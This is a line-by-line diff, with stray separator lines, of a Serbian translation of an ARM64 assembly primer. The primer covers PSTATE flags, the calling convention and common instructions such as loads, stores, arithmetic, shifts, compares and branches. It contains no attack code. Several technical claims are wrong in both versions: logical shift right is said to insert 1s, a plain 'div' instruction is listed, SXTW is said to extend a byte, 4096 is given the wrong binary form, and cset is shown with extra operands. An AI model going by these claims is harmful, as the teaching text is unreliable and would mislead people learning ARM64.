* `msr TPIDR_EL0, X0 ; Pisanje x0 u TPIDR_EL0`
|
* `msr TPIDR_EL0, X0 ; Zapiši x0 u TPIDR_EL0`
|
||||||
|
|
||||||
### **PSTATE**
|
### **PSTATE**
|
||||||
|
|
||||||
**PSTATE** sadrži nekoliko procesnih komponenti serijalizovanih u operativnom sistemu vidljiv **`SPSR_ELx`** specijalni registar, gde je X **nivo dozvole pokrenutog** izuzetka (ovo omogućava vraćanje stanja procesa kada izuzetak završi).\
|
**PSTATE** sadrži nekoliko procesnih komponenti serijalizovanih u operativnom sistemu vidljiv **`SPSR_ELx`** poseban registar, gde je X **nivo dozvole izazvanog** izuzetka (ovo omogućava vraćanje stanja procesa kada izuzetak završi).\
|
||||||
Ovo su pristupačna polja:
|
Ovo su pristupačna polja:
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (724).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (724).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
@ -85,7 +85,7 @@ Ovo su pristupačna polja:
|
||||||
* **`V`** znači da je operacija dala prekoračenje sa znakom:
|
* **`V`** znači da je operacija dala prekoračenje sa znakom:
|
||||||
* Zbir dva pozitivna broja daje negativan rezultat.
|
* Zbir dva pozitivna broja daje negativan rezultat.
|
||||||
* Zbir dva negativna broja daje pozitivan rezultat.
|
* Zbir dva negativna broja daje pozitivan rezultat.
|
||||||
* Pri oduzimanju, kada se od manjeg pozitivnog broja oduzme veći negativni broj (ili obrnuto), i rezultat ne može biti predstavljen unutar opsega datog veličinom bita.
|
* Pri oduzimanju, kada se od manjeg pozitivnog broja oduzme veći negativan broj (ili obrnuto), i rezultat ne može biti predstavljen unutar opsega datog veličinom bita.
|
||||||
* Očigledno je da procesor ne zna da li je operacija sa znakom ili ne, pa će proveriti C i V u operacijama i ukazati na prenos ako je bila sa znakom ili bez znaka.
|
* Očigledno je da procesor ne zna da li je operacija sa znakom ili ne, pa će proveriti C i V u operacijama i ukazati na prenos ako je bila sa znakom ili bez znaka.
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
|
@ -94,15 +94,15 @@ Nisu sve instrukcije ažuriraju ove zastave. Neke poput **`CMP`** ili **`TST`**
|
||||||
|
|
||||||
* Trenutna zastava **širine registra (`nRW`)**: Ako zastava ima vrednost 0, program će se izvršavati u AArch64 stanju izvršenja nakon nastavka.
|
* Trenutna zastava **širine registra (`nRW`)**: Ako zastava ima vrednost 0, program će se izvršavati u AArch64 stanju izvršenja nakon nastavka.
|
||||||
* Trenutni **nivo izuzetka** (**`EL`**): Redovan program koji se izvršava u EL0 imaće vrednost 0
|
* Trenutni **nivo izuzetka** (**`EL`**): Redovan program koji se izvršava u EL0 imaće vrednost 0
|
||||||
* Zastava za **jedan korak** (**`SS`**): Koristi se od strane debagera za jednokorakovanje postavljanjem SS zastave na 1 unutar **`SPSR_ELx`** putem izuzetka. Program će izvršiti korak i izdati izuzetak jednog koraka.
|
* Zastava za **jedan korak** (**`SS`**): Koristi se od strane debagera za jednokorakno izvršavanje postavljanjem SS zastave na 1 unutar **`SPSR_ELx`** putem izuzetka. Program će izvršiti korak i izdati izuzetak jednog koraka.
|
||||||
* Zastava za **nevažeći izuzetak** (**`IL`**): Koristi se za označavanje kada privilegovani softver izvrši nevažeći prenos nivoa izuzetka, ova zastava se postavlja na 1 i procesor pokreće izuzetak nevažećeg stanja.
|
* Zastava za **nevažeći izuzetak** (**`IL`**): Koristi se za označavanje kada privilegovani softver izvrši nevažeći prenos nivoa izuzetka, ova zastava se postavlja na 1 i procesor pokreće izuzetak nevažećeg stanja.
|
||||||
* Zastave **`DAIF`**: Ove zastave omogućavaju privilegovanom programu selektivno maskiranje određenih spoljnih izuzetaka.
|
* Zastave **`DAIF`**: Ove zastave omogućavaju privilegovanom programu selektivno maskiranje određenih spoljnih izuzetaka.
|
||||||
* Ako je **`A`** 1 to znači da će biti pokrenuti **asinhroni prekidi**. **`I`** konfiguriše odgovor na spoljne hardverske **zahteve za prekidom** (IRQ), a F je povezano sa **brzim zahtevima za prekidom** (FIR).
|
* Ako je **`A`** 1 to znači da će biti pokrenuti **asinhroni prekidi**. **`I`** konfiguriše odgovor na spoljne hardverske **zahteve za prekidima** (IRQs). i F je povezan sa **brzim zahtevima za prekidima** (FIRs).
|
||||||
* Zastave za **izbor pokazivača steka (`SPS`)**: Privilegovani programi koji se izvršavaju u EL1 i više mogu da prebacuju između korišćenja svog sopstvenog registra pokazivača steka i korisničkog modela (npr. između `SP_EL1` i `EL0`). Ovo prebacivanje se vrši upisivanjem u specijalni registar **`SPSel`**. Ovo se ne može uraditi iz EL0.
|
* Zastave za **izbor pokazivača steka (`SPS`)**: Privilegovani programi koji se izvršavaju u EL1 i više mogu da prebacuju između korišćenja svog registra pokazivača steka i korisničkog modela (npr. između `SP_EL1` i `EL0`). Ovo prebacivanje se vrši upisivanjem u poseban registar **`SPSel`**. Ovo se ne može uraditi iz EL0.
|
||||||
|
|
||||||
## **Konvencija pozivanja (ARM64v8)**
|
## **Konvencija pozivanja (ARM64v8)**
|
||||||
|
|
||||||
ARM64 konvencija pozivanja specificira da se **prva osam parametara** funkcije prosleđuju u registre **`x0` do `x7`**. **Dodatni** parametri se prosleđuju na **stek**. Povratna vrednost se prosleđuje nazad u registar **`x0`**, ili u **`x1`** takođe **ako je dužine 128 bita**. Registri **`x19`** do **`x30`** i **`sp`** moraju biti **sačuvani** tokom poziva funkcije.
|
ARM64 konvencija pozivanja specificira da se **prva osam parametara** funkcije prosleđuju u registre **`x0` do `x7`**. **Dodatni** parametri se prosleđuju na **stek**. Povratna vrednost se vraća u registru **`x0`**, ili u **`x1`** takođe **ako je 128 bita dugačka**. Registri **`x19`** do **`x30`** i **`sp`** moraju biti **sačuvani** tokom poziva funkcije.
|
||||||
|
|
||||||
Prilikom čitanja funkcije u sklopu, potražite **prolog funkcije i epilog**. **Prolog** obično uključuje **čuvanje pokazivača okvira (`x29`)**, **postavljanje** novog **pokazivača okvira**, i **dodeljivanje prostora steka**. **Epilog** obično uključuje **vraćanje sačuvanog pokazivača okvira** i **izlazak** iz funkcije.
|
Prilikom čitanja funkcije u sklopu, potražite **prolog funkcije i epilog**. **Prolog** obično uključuje **čuvanje pokazivača okvira (`x29`)**, **postavljanje** novog **pokazivača okvira**, i **dodeljivanje prostora steka**. **Epilog** obično uključuje **vraćanje sačuvanog pokazivača okvira** i **izlazak** iz funkcije.
|
||||||
|
|
||||||
|
@ -114,51 +114,51 @@ Swift ima svoju **konvenciju pozivanja** koja se može pronaći na [**https://gi
|
||||||
|
|
||||||
ARM64 instrukcije generalno imaju **format `opcode dst, src1, src2`**, gde je **`opcode`** operacija koja će se izvršiti (kao što su `add`, `sub`, `mov`, itd.), **`dst`** je **odredišni** registar gde će rezultat biti smešten, a **`src1`** i **`src2`** su **izvorni** registri. Neposredne vrednosti takođe mogu biti korišćene umesto izvornih registara.
|
ARM64 instrukcije generalno imaju **format `opcode dst, src1, src2`**, gde je **`opcode`** operacija koja će se izvršiti (kao što su `add`, `sub`, `mov`, itd.), **`dst`** je **odredišni** registar gde će rezultat biti smešten, a **`src1`** i **`src2`** su **izvorni** registri. Neposredne vrednosti takođe mogu biti korišćene umesto izvornih registara.
|
||||||
|
|
||||||
* **`mov`**: **Premeštanje** vrednosti iz jednog **registra** u drugi.
|
* **`mov`**: **Pomeri** vrednost iz jednog **registra** u drugi.
|
||||||
* Primer: `mov x0, x1` — Ovo premešta vrednost iz `x1` u `x0`.
|
* Primer: `mov x0, x1` — Ovo pomeri vrednost iz `x1` u `x0`.
|
||||||
* **`ldr`**: **Učitavanje** vrednosti iz **memorije** u **registar**.
|
* **`ldr`**: **Učitaj** vrednost iz **memorije** u **registar**.
|
||||||
* Primer: `ldr x0, [x1]` — Ovo učitava vrednost sa lokacije memorije na koju pokazuje `x1` u `x0`.
|
* Primer: `ldr x0, [x1]` — Ovo učitava vrednost sa memorijske lokacije na koju pokazuje `x1` u `x0`.
|
||||||
* **Mod sa pomerajem**: Pomeraj koji utiče na pokazivač je naznačen, na primer:
|
* **Mod sa pomerajem**: Pomeraj koji utiče na pokazivač je naznačen, na primer:
|
||||||
* `ldr x2, [x1, #8]`, ovo će učitati u x2 vrednost iz x1 + 8
|
* `ldr x2, [x1, #8]`, ovo će učitati u x2 vrednost iz x1 + 8
|
||||||
*  `ldr x2, [x0, x1, lsl #2]`, ovo će učitati u x2 objekat iz niza x0, sa pozicije x1 (indeks) \* 4
|
*  `ldr x2, [x0, x1, lsl #2]`, ovo će učitati u x2 objekat iz niza x0, sa pozicije x1 (indeks) \* 4
|
||||||
* **Mod pre indeksa**: Ovo će primeniti izračunavanja na početni, dobiti rezultat i takođe sačuvati novi početak u početnom.
|
* **Mod pre-indeksa**: Ovo će primeniti izračunavanja na početni, dobiti rezultat i takođe sačuvati novi početak u početnom.
|
||||||
* `ldr x2, [x1, #8]!`, ovo će učitati `x1 + 8` u `x2` i sačuvati u x1 rezultat `x1 + 8`
|
* `ldr x2, [x1, #8]!`, ovo će učitati `x1 + 8` u `x2` i sačuvati u x1 rezultat `x1 + 8`
|
||||||
* `str lr, [sp, #-4]!`, Sačuvajte registar linka u sp i ažurirajte registar sp
|
* `str lr, [sp, #-4]!`, Sačuvaj registar linka u sp i ažuriraj registar sp
|
||||||
* **Mod posle indeksa**: Slično prethodnom, ali se pristupa memoriji, a zatim se izračunava i čuva pomeraj.
|
* **Mod post-indeksa**: Slično prethodnom, ali se pristupa memorijskoj adresi, a zatim se izračunava i čuva pomeraj.
|
||||||
* `ldr x0, [x1], #8`, učitaj `x1` u `x0` i ažuriraj x1 sa `x1 + 8`
|
* `ldr x0, [x1], #8`, učitaj `x1` u `x0` i ažuriraj x1 sa `x1 + 8`
|
||||||
* **Adresa relativna prema PC registru**: U ovom slučaju adresa za učitavanje se računa relativno u odnosu na PC registar
|
* **Adresa relativna prema PC registru**: U ovom slučaju adresa za učitavanje se računa relativno prema PC registru
|
||||||
* `ldr x1, =_start`, Ovo će učitati adresu gde počinje simbol `_start` u x1 u odnosu na trenutni PC.
|
* `ldr x1, =_start`, Ovo će učitati adresu gde počinje simbol `_start` u x1 u odnosu na trenutni PC.
|
||||||
* **`str`**: **Čuvanje** vrednosti iz **registra** u **memoriju**.
|
* **`str`**: **Sačuvaj** vrednost iz **registra** u **memoriju**.
|
||||||
* Primer: `str x0, [x1]` — Ovo čuva vrednost iz `x0` na lokaciju memorije na koju pokazuje `x1`.
|
* Primer: `str x0, [x1]` — Ovo čuva vrednost iz `x0` na memorijskoj lokaciji na koju pokazuje `x1`.
|
||||||
* **`ldp`**: **Učitavanje para registara**. Ova instrukcija **učitava dva registra** iz **uzastopnih memorijskih** lokacija. Adresa memorije se obično formira dodavanjem pomeraja vrednosti u drugom registru.
|
* **`ldp`**: **Učitaj par registara**. Ova instrukcija **učitava dva registra** iz **uzastopnih memorijskih** lokacija. Memorijska adresa se obično formira dodavanjem pomeraja vrednosti u drugom registru.
|
||||||
* Primer: `ldp x0, x1, [x2]` — Ovo učitava `x0` i `x1` sa lokacija memorije na `x2` i `x2 + 8`, redom.
|
* Primer: `ldp x0, x1, [x2]` — Ovo učitava `x0` i `x1` sa memorijskih lokacija na `x2` i `x2 + 8`, redom.
|
||||||
* **`stp`**: **Čuvanje para registara**. Ova instrukcija **čuva dva registra** na **uzastopne memorijske** lokacije. Adresa memorije se obično formira dodavanjem pomeraja vrednosti u drugom registru.
|
* **`stp`**: **Sačuvaj par registara**. Ova instrukcija **čuva dva registra** na **uzastopnim memorijskim** lokacijama. Memorijska adresa se obično formira dodavanjem pomeraja vrednosti u drugom registru.
|
||||||
* Primer: `stp x0, x1, [sp]` — Ovo čuva `x0` i `x1` na lokacijama memorije na `sp` i `sp + 8`, redom.
|
* Primer: `stp x0, x1, [sp]` — Ovo čuva `x0` i `x1` na memorijskim lokacijama na `sp` i `sp + 8`, redom.
|
||||||
* `stp x0, x1, [sp, #16]!` — Ovo čuva `x0` i `x1` na lokacijama memorije na `sp+16` i `sp + 24`, redom, i ažurira `sp` sa `sp+16`.
|
* `stp x0, x1, [sp, #16]!` — Ovo čuva `x0` i `x1` na memorijskim lokacijama na `sp+16` i `sp + 24`, redom, i ažurira `sp` sa `sp+16`.
|
||||||
* **`add`**: **Sabiranje** vrednosti dva registra i smeštanje rezultata u registar.
|
* **`add`**: **Saberi** vrednosti dva registra i sačuvaj rezultat u registru.
|
||||||
* Sintaksa: add(s) Xn1, Xn2, Xn3 | #imm, \[pomeraj #N | RRX\]
|
* Sintaksa: add(s) Xn1, Xn2, Xn3 | #imm, \[pomeraj #N | RRX\]
|
||||||
* Xn1 -> Destinacija
|
* Xn1 -> Destinacija
|
||||||
* Xn2 -> Operand 1
|
* Xn2 -> Operand 1
|
||||||
* Xn3 | #imm -> Operand 2 (registar ili neposredno)
|
* Xn3 | #imm -> Operand 2 (registar ili neposredno)
|
||||||
* \[pomeraj #N | RRX\] -> Izvrši pomeraj ili pozovi RRX
|
* \[pomeraj #N | RRX\] -> Izvrši pomeraj ili pozovi RRX
|
||||||
* Primer: `add x0, x1, x2` — Ovo sabira vrednosti u `x1` i `x2` i čuva rezultat u `x0`.
|
* Primer: `add x0, x1, x2` — Ovo sabira vrednosti u `x1` i `x2` i čuva rezultat u `x0`.
|
||||||
* `add x5, x5, #1, lsl #12` — Ovo je jednako 4096 (jedan pomeraj 12 puta) -> 1 0000 0000 0000 0000
|
* `add x5, x5, #1, lsl #12` — Ovo je jednako 4096 (jedinica pomerena 12 puta) -> 1 0000 0000 0000 0000
|
||||||
* **`adds`** Ovo izvršava `add` i ažurira zastave
|
* **`adds`** Ovo izvršava `add` i ažurira zastave
|
||||||
* **`sub`**: **Oduzmi** vrednosti dva registra i čuvaj rezultat u registru.
|
* **`sub`**: **Oduzmi** vrednosti dva registra i čuvaj rezultat u registru.
|
||||||
* Proveri **sintaksu za `add`**.
|
* Proveri **sintaksu za `add`**.
|
||||||
* Primer: `sub x0, x1, x2` — Ovo oduzima vrednost u `x2` od `x1` i čuva rezultat u `x0`.
|
* Primer: `sub x0, x1, x2` — Ovo oduzima vrednost u `x2` od `x1` i čuva rezultat u `x0`.
|
||||||
* **`subs`** Ovo je kao sub ali ažurira zastavu
|
* **`subs`** Ovo je kao sub ali ažurira zastavice
|
||||||
* **`mul`**: **Množi** vrednosti **dva registra** i čuva rezultat u registru.
|
* **`mul`**: **Množi** vrednosti **dva registra** i čuva rezultat u registru.
|
||||||
* Primer: `mul x0, x1, x2` — Ovo množi vrednosti u `x1` i `x2` i čuva rezultat u `x0`.
|
* Primer: `mul x0, x1, x2` — Ovo množi vrednosti u `x1` i `x2` i čuva rezultat u `x0`.
|
||||||
* **`div`**: **Deljenje** vrednosti jednog registra drugim i čuvanje rezultata u registru.
|
* **`div`**: **Deljenje** vrednosti jednog registra sa drugim i čuvanje rezultata u registru.
|
||||||
* Primer: `div x0, x1, x2` — Ovo deli vrednost u `x1` sa `x2` i čuva rezultat u `x0`.
|
* Primer: `div x0, x1, x2` — Ovo deli vrednost u `x1` sa `x2` i čuva rezultat u `x0`.
|
||||||
* **`lsl`**, **`lsr`**, **`asr`**, **`ror`, `rrx`**:
|
* **`lsl`**, **`lsr`**, **`asr`**, **`ror`, `rrx`**:
|
||||||
* **Logički pomeraj levo**: Dodaj 0 sa kraja pomerajući ostale bitove unapred (množi n puta sa 2)
|
* **Logički pomeraj levo**: Dodaj 0 sa kraja pomerajući ostale bitove unapred (množi n puta sa 2)
|
||||||
* **Logički pomeraj desno**: Dodaj 1 na početak pomerajući ostale bitove unazad (deli n puta sa 2 u neoznačenom obliku)
|
* **Logički pomeraj desno**: Dodaj 1 sa početka pomerajući ostale bitove unazad (deli n puta sa 2 u neoznačenom obliku)
|
||||||
* **Aritmetički pomeraj desno**: Kao **`lsr`**, ali umesto dodavanja 0 ako je najznačajniji bit 1, \*\*dodaju se 1 (\*\*deli n puta sa 2 u označenom obliku)
|
* **Aritmetički pomeraj desno**: Kao **`lsr`**, ali umesto dodavanja 0 ako je najznačajniji bit 1, \*\*dodaju se 1 (\*\*deli n puta sa 2 u označenom obliku)
|
||||||
* **Rotacija udesno**: Kao **`lsr`** ali šta god je uklonjeno sa desne strane se dodaje na levo
|
* **Rotacija udesno**: Kao **`lsr`** ali šta god je uklonjeno sa desne strane se dodaje na levo
|
||||||
* **Rotacija udesno sa proširenjem**: Kao **`ror`**, ali sa zastavicom prenosa kao "najznačajnijim bitom". Tako da se zastavica prenosa pomera na bit 31 i uklonjeni bit na zastavicu prenosa.
|
* **Rotacija udesno sa proširenjem**: Kao **`ror`**, ali sa zastavicom prenosa kao "najznačajnijim bitom". Tako da se zastavica prenosa pomera na bit 31, a uklonjeni bit na zastavicu prenosa.
|
||||||
* **`bfm`**: **Pomeraj bitova**, ove operacije **kopiraju bitove `0...n`** iz vrednosti i smeštaju ih na pozicije **`m..m+n`**. **`#s`** određuje **najlevlji bit** i **`#r`** količinu **rotacije udesno**.
|
* **`bfm`**: **Pomeraj bitova**, ove operacije **kopiraju bitove `0...n`** iz vrednosti i smeštaju ih na pozicije **`m..m+n`**. **`#s`** određuje **najlevlji bit** poziciju i **`#r`** količinu **rotacije udesno**.
|
||||||
* Pomeraj bitova: `BFM Xd, Xn, #r`
|
* Pomeraj bitova: `BFM Xd, Xn, #r`
|
||||||
* Pomeraj bitova sa znakom: `SBFM Xd, Xn, #r, #s`
|
* Pomeraj bitova sa znakom: `SBFM Xd, Xn, #r, #s`
|
||||||
* Pomeraj bitova bez znaka: `UBFM Xd, Xn, #r, #s`
|
* Pomeraj bitova bez znaka: `UBFM Xd, Xn, #r, #s`
|
||||||
|
@ -170,21 +170,21 @@ ARM64 instrukcije generalno imaju **format `opcode dst, src1, src2`**, gde je **
|
||||||
* **`UBFIZ X1, X2, #3, #4`** Proširuje nulama 4 bita iz X2 i umetni ih u X1 počevši od bita 3, nulirajući desne bitove
|
* **`UBFIZ X1, X2, #3, #4`** Proširuje nulama 4 bita iz X2 i umetni ih u X1 počevši od bita 3, nulirajući desne bitove
|
||||||
* **`UBFX X1, X2, #3, #4`** Izdvaja 4 bita počevši od bita 3 iz X2 i smešta nulirani rezultat u X1.
|
* **`UBFX X1, X2, #3, #4`** Izdvaja 4 bita počevši od bita 3 iz X2 i smešta nulirani rezultat u X1.
|
||||||
* **Proširi znak na X:** Proširuje znak (ili dodaje samo 0 u neoznačenom obliku) vrednosti kako bi se mogle izvršiti operacije sa njom:
|
* **Proširi znak na X:** Proširuje znak (ili dodaje samo 0 u neoznačenom obliku) vrednosti kako bi se mogle izvršiti operacije sa njom:
|
||||||
* **`SXTB X1, W2`** Proširuje znak bajta **od W2 do X1** (`W2` je polovina `X2`) da popuni 64 bita
|
* **`SXTB X1, W2`** Proširuje znak bajta **iz W2 u X1** (`W2` je polovina `X2`) da popuni 64 bita
|
||||||
* **`SXTH X1, W2`** Proširuje znak 16-bitnog broja **od W2 do X1** da popuni 64 bita
|
* **`SXTH X1, W2`** Proširuje znak 16-bitnog broja **iz W2 u X1** da popuni 64 bita
|
||||||
* **`SXTW X1, W2`** Proširuje znak bajta **od W2 do X1** da popuni 64 bita
|
* **`SXTW X1, W2`** Proširuje znak bajta **iz W2 u X1** da popuni 64 bita
|
||||||
* **`UXTB X1, W2`** Dodaje 0 (neoznačeno) bajtu **od W2 do X1** da popuni 64 bita
|
* **`UXTB X1, W2`** Dodaje 0 (neoznačeno) bajtu **iz W2 u X1** da popuni 64 bita
|
||||||
* **`extr`:** Izdvaja bitove iz određenog **para registara konkateniranih**.
|
* **`extr`:** Izdvaja bitove iz određenog **para registara konkateniranih**.
|
||||||
* Primer: `EXTR W3, W2, W1, #3` Ovo će **konkatenirati W1+W2** i uzeti **od bita 3 iz W2 do bita 3 iz W1** i smestiti u W3.
|
* Primer: `EXTR W3, W2, W1, #3` Ovo će **konkatenirati W1+W2** i uzeti **od bita 3 iz W2 do bita 3 iz W1** i smestiti u W3.
|
||||||
* **`cmp`**: **Uporedi** dva registra i postavi uslovne zastave. To je **alias za `subs`** postavljajući odredišni registar na nulu. Korisno za proveru da li je `m == n`.
|
* **`cmp`**: **Uporedi** dva registra i postavi uslovne zastave. To je **alias za `subs`** postavljajući destinacioni registar na nulu. Korisno za proveru da li je `m == n`.
|
||||||
* Podržava **istu sintaksu kao `subs`**
|
* Podržava **istu sintaksu kao `subs`**
|
||||||
* Primer: `cmp x0, x1` — Ovo upoređuje vrednosti u `x0` i `x1` i postavlja uslovne zastave prema tome.
|
* Primer: `cmp x0, x1` — Ovo upoređuje vrednosti u `x0` i `x1` i postavlja uslovne zastave prema tome.
|
||||||
* **`cmn`**: **Uporedi negativno** operande. U ovom slučaju je to **alias za `adds`** i podržava istu sintaksu. Korisno za proveru da li je `m == -n`.
|
* **`cmn`**: **Uporedi negativno** operande. U ovom slučaju je to **alias za `adds`** i podržava istu sintaksu. Korisno za proveru da li je `m == -n`.
|
||||||
* **`ccmp`**: Uslovno upoređivanje, upoređivanje koje će se izvršiti samo ako je prethodno upoređivanje bilo tačno i posebno će postaviti nzcv bitove.
|
* **`ccmp`**: Uslovno poređenje, to je poređenje koje će se izvršiti samo ako je prethodno poređenje bilo tačno i posebno će postaviti nzcv bitove.
|
||||||
* `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> ako x1 != x2 i x3 < x4, skoči na funkciju
|
* `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> ako x1 != x2 i x3 < x4, skoči na funkciju
|
||||||
* Ovo je zato što će se **`ccmp`** izvršiti samo ako je **prethodni `cmp` bio `NE`**, ako nije bitovi `nzcv` će biti postavljeni na 0 (što neće zadovoljiti `blt` upoređivanje).
|
* Ovo je zato što će se **`ccmp`** izvršiti samo ako je **prethodni `cmp` bio `NE`**, ako nije bitovi `nzcv` će biti postavljeni na 0 (što neće zadovoljiti `blt` poređenje).
|
||||||
* Ovo se takođe može koristiti kao `ccmn` (isto ali negativno, kao `cmp` vs `cmn`).
|
* Ovo se takođe može koristiti kao `ccmn` (isto ali negativno, kao `cmp` vs `cmn`).
|
||||||
* **`tst`**: Proverava da li su vrednosti upoređivanja oba 1 (radi kao i ANDS bez smeštanja rezultata bilo gde). Korisno je proveriti registar sa vrednošću i proveriti da li su bilo koji bitovi registra naznačeni u vrednosti 1.
|
* **`tst`**: Proverava da li su vrednosti uporedbe oba 1 (radi kao i ANDS bez smeštanja rezultata bilo gde). Korisno je proveriti registar sa vrednošću i proveriti da li su bilo koji bitovi registra naznačeni u vrednosti 1.
|
||||||
* Primer: `tst X1, #7` Proveri da li su bilo koji od poslednja 3 bita X1 jednaki 1
|
* Primer: `tst X1, #7` Proveri da li su bilo koji od poslednja 3 bita X1 jednaki 1
|
||||||
* **`teq`**: XOR operacija odbacivanjem rezultata
|
* **`teq`**: XOR operacija odbacivanjem rezultata
|
||||||
* **`b`**: Bezuslovni skok
|
* **`b`**: Bezuslovni skok
|
||||||
|
@ -193,22 +193,22 @@ ARM64 instrukcije generalno imaju **format `opcode dst, src1, src2`**, gde je **
|
||||||
* **`bl`**: **Skok** sa linkom, koristi se za **poziv** potprograma. Čuva **povratnu adresu u `x30`**.
|
* **`bl`**: **Skok** sa linkom, koristi se za **poziv** potprograma. Čuva **povratnu adresu u `x30`**.
|
||||||
* Primer: `bl mojaFunkcija` — Ovo poziva funkciju `mojaFunkcija` i čuva povratnu adresu u `x30`.
|
* Primer: `bl mojaFunkcija` — Ovo poziva funkciju `mojaFunkcija` i čuva povratnu adresu u `x30`.
|
||||||
* Imajte na umu da ovo neće popuniti registar linka sa povratnom adresom (nije pogodno za pozive potprograma koji treba da se vrate nazad)
|
* Imajte na umu da ovo neće popuniti registar linka sa povratnom adresom (nije pogodno za pozive potprograma koji treba da se vrate nazad)
|
||||||
* **`blr`**: **Skok** sa Linkom u Registar, koristi se za **poziv** potprograma gde je cilj **naveden** u **registru**. Čuva povratnu adresu u `x30`. (Ovo je 
|
* **`blr`**: **Skok** sa Linkom u Registar, koristi se za **poziv** potprograma gde je cilj **specifikovan** u **registru**. Čuva povratnu adresu u `x30`. (Ovo je 
|
||||||
* Primer: `blr x1` — Ovo poziva funkciju čija je adresa sadržana u `x1` i čuva povratnu adresu u `x30`.
|
* Primer: `blr x1` — Ovo poziva funkciju čija je adresa sadržana u `x1` i čuva povratnu adresu u `x30`.
|
||||||
* **`ret`**: **Povratak** iz **potprograma**, obično koristeći adresu u **`x30`**.
|
* **`ret`**: **Povratak** iz **potprograma**, obično koristeći adresu u **`x30`**.
|
||||||
* Primer: `ret` — Ovo se vraća iz trenutnog potprograma koristeći povratnu adresu u `x30`.
|
* Primer: `ret` — Ovo se vraća iz trenutnog potprograma koristeći povratnu adresu u `x30`.
|
||||||
* **`b.<uslov>`**: Uslovni skokovi
|
* **`b.<uslov>`**: Uslovni skokovi
|
||||||
* **`b.eq`**: **Skok ako je jednako**, zasnovan na prethodnoj `cmp` instrukciji.
|
* **`b.eq`**: **Skok ako je jednako**, zasnovano na prethodnoj `cmp` instrukciji.
|
||||||
* Primer: `b.eq oznaka` — Ako je prethodna `cmp` instrukcija pronašla dve jednake vrednosti, skoči na `oznaka`.
|
* Primer: `b.eq oznaka` — Ako je prethodna `cmp` instrukcija pronašla dve jednake vrednosti, skoči na `oznaka`.
|
||||||
* **`b.ne`**: **Skok ako nije jednako**. Ova instrukcija proverava uslovne zastave (koje su postavljene prethodnom instrukcijom poređenja) i ako upoređene vrednosti nisu jednake, preskače do oznake ili adrese.
|
* **`b.ne`**: **Skok ako nije jednako**. Ova instrukcija proverava uslovne zastave (koje su postavljene prethodnom instrukcijom poređenja), i ako upoređene vrednosti nisu jednake, preskače do oznake ili adrese.
|
||||||
* Primer: Nakon `cmp x0, x1` instrukcije, `b.ne label` — Ako vrednosti u `x0` i `x1` nisu jednake, preskače do `label`.
|
* Primer: Nakon `cmp x0, x1` instrukcije, `b.ne label` — Ako vrednosti u `x0` i `x1` nisu jednake, preskače do `label`.
|
||||||
* **`cbz`**: **Poređenje i skok ako je nula**. Ova instrukcija upoređuje registar sa nulom i ako su jednaki, preskače do oznake ili adrese.
|
* **`cbz`**: **Uporedi i skoči ako je nula**. Ova instrukcija upoređuje registar sa nulom, i ako su jednaki, preskače do oznake ili adrese.
|
||||||
* Primer: `cbz x0, label` — Ako je vrednost u `x0` nula, preskače do `label`.
|
* Primer: `cbz x0, label` — Ako je vrednost u `x0` nula, preskače do `label`.
|
||||||
* **`cbnz`**: **Poređenje i skok ako nije nula**. Ova instrukcija upoređuje registar sa nulom i ako nisu jednaki, preskače do oznake ili adrese.
|
* **`cbnz`**: **Uporedi i skoči ako nije nula**. Ova instrukcija upoređuje registar sa nulom, i ako nisu jednaki, preskače do oznake ili adrese.
|
||||||
* Primer: `cbnz x0, label` — Ako je vrednost u `x0` različita od nule, preskače do `label`.
|
* Primer: `cbnz x0, label` — Ako je vrednost u `x0` različita od nule, preskače do `label`.
|
||||||
* **`tbnz`**: Testiranje bita i skok ako nije nula
|
* **`tbnz`**: Testiraj bit i skoči ako nije nula
|
||||||
* Primer: `tbnz x0, #8, label`
|
* Primer: `tbnz x0, #8, label`
|
||||||
* **`tbz`**: Testiranje bita i skok ako je nula
|
* **`tbz`**: Testiraj bit i skoči ako je nula
|
||||||
* Primer: `tbz x0, #8, label`
|
* Primer: `tbz x0, #8, label`
|
||||||
* **Uslovne selektne operacije**: Ovo su operacije čije ponašanje varira u zavisnosti od uslovnih bitova.
|
* **Uslovne selektne operacije**: Ovo su operacije čije ponašanje varira u zavisnosti od uslovnih bitova.
|
||||||
* `csel Xd, Xn, Xm, cond` -> `csel X0, X1, X2, EQ` -> Ako je tačno, X0 = X1, ako nije, X0 = X2
|
* `csel Xd, Xn, Xm, cond` -> `csel X0, X1, X2, EQ` -> Ako je tačno, X0 = X1, ako nije, X0 = X2
|
||||||
|
@ -220,24 +220,24 @@ ARM64 instrukcije generalno imaju **format `opcode dst, src1, src2`**, gde je **
|
||||||
* `cneg Xd, Xn, cond` -> Ako je tačno, Xd = - Xn, ako nije, Xd = Xn
|
* `cneg Xd, Xn, cond` -> Ako je tačno, Xd = - Xn, ako nije, Xd = Xn
|
||||||
* `cset Xd, Xn, Xm, cond` -> Ako je tačno, Xd = 1, ako nije, Xd = 0
|
* `cset Xd, Xn, Xm, cond` -> Ako je tačno, Xd = 1, ako nije, Xd = 0
|
||||||
* `csetm Xd, Xn, Xm, cond` -> Ako je tačno, Xd = \<svi 1>, ako nije, Xd = 0
|
* `csetm Xd, Xn, Xm, cond` -> Ako je tačno, Xd = \<svi 1>, ako nije, Xd = 0
|
||||||
* **`adrp`**: Računa **adresu stranice simbola** i smešta je u registar.
|
* **`adrp`**: Izračunava **adresu stranice simbola** i smešta je u registar.
|
||||||
* Primer: `adrp x0, symbol` — Ovo računa adresu stranice `symbol` i smešta je u `x0`.
|
* Primer: `adrp x0, symbol` — Ovo izračunava adresu stranice `symbol` i smešta je u `x0`.
|
||||||
* **`ldrsw`**: **Učitava** potpisanu **32-bitnu** vrednost iz memorije i **proširuje je na 64** bita.
|
* **`ldrsw`**: **Učitaj** potpisanu **32-bitnu** vrednost iz memorije i **proširi je na 64** bita.
|
||||||
* Primer: `ldrsw x0, [x1]` — Ovo učitava potpisanu 32-bitnu vrednost sa lokacije u memoriji na koju pokazuje `x1`, proširuje je na 64 bita i smešta je u `x0`.
|
* Primer: `ldrsw x0, [x1]` — Ovo učitava potpisanu 32-bitnu vrednost sa lokacije u memoriji na koju pokazuje `x1`, proširuje je na 64 bita i smešta je u `x0`.
|
||||||
